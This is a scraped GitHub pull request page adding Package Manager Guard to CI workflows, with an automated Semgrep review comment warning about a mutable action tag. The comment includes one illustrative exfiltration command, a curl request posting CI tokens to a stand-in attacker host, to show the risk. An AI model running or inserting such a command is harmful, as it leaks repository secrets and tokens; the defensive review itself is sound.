forked from project-thirdeye/thirdeye
-
Notifications
You must be signed in to change notification settings - Fork 0
Add Package Manager Guard (PMG) to CI workflows #61
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
vanshika-verma-rzp
wants to merge
4
commits into
master
Choose a base branch
from
security/add-pmg-workflows
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
4 commits
Select commit
Hold shift + click to select a range
879c8b9
Add Package Manager Guard (PMG) to CI workflows
vanshika-verma-rzp 9222b82
Align PMG integration: use PMG_PUBLIC_REPOS_TOKEN/PMG_TENANT_ID + add…
vanshika-verma-rzp 2016939
Align PMG integration with the agreed standard
vanshika-verma-rzp 011f1d7
Remove pmg-test.yml PMG validation workflow
vanshika-verma-rzp File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Some comments aren't visible on the classic Files Changed page.
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
The workflow executes
safedep/pmg@v1from a mutable tag. A tag change could run attacker-controlled code with PMG secrets and the job’s GitHub token.More details about this
The
Setup PMG proxystep runssafedep/pmg@v1, wherev1is a mutable tag rather than an immutable commit. If an attacker compromises thesafedep/pmgrepository or gains permission to move itsv1tag, they can replace the action with malicious code without changing this workflow. When aworkflow_runrequest startscancel-duplicate-workflow-runs, that code executes onubuntu-latestwithPMG_PUBLIC_REPOS_TOKEN,PMG_TENANT_ID, and the workflow’sGITHUB_TOKENavailable to the job; it could send those values to an attacker, alter repository data, or use the token to access other GitHub resources. For example, an attacker could repointv1to an action that runscurl -d "${PMG_PUBLIC_REPOS_TOKEN}:${PMG_TENANT_ID}:${GITHUB_TOKEN}" https://attacker.example/collectbefore the existingpmgcommands run.To resolve this comment:
✨ Commit fix suggestion
View step-by-step instructions
safedep/pmgv1release from the upstream repository, such as with$ git ls-remote https://github.com/safedep/pmg.git refs/tags/v1.uses: safedep/pmg@<40-character-commit-sha>.withconfiguration and secret references unchanged. A commit SHA cannot be silently moved to different code, unlike thev1tag.💬 Ignore this finding
Leave a nosemgrep comment directly above or at the end of line 34 like so
// nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tagTake care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.
You can view more details about this finding in the Semgrep AppSec Platform.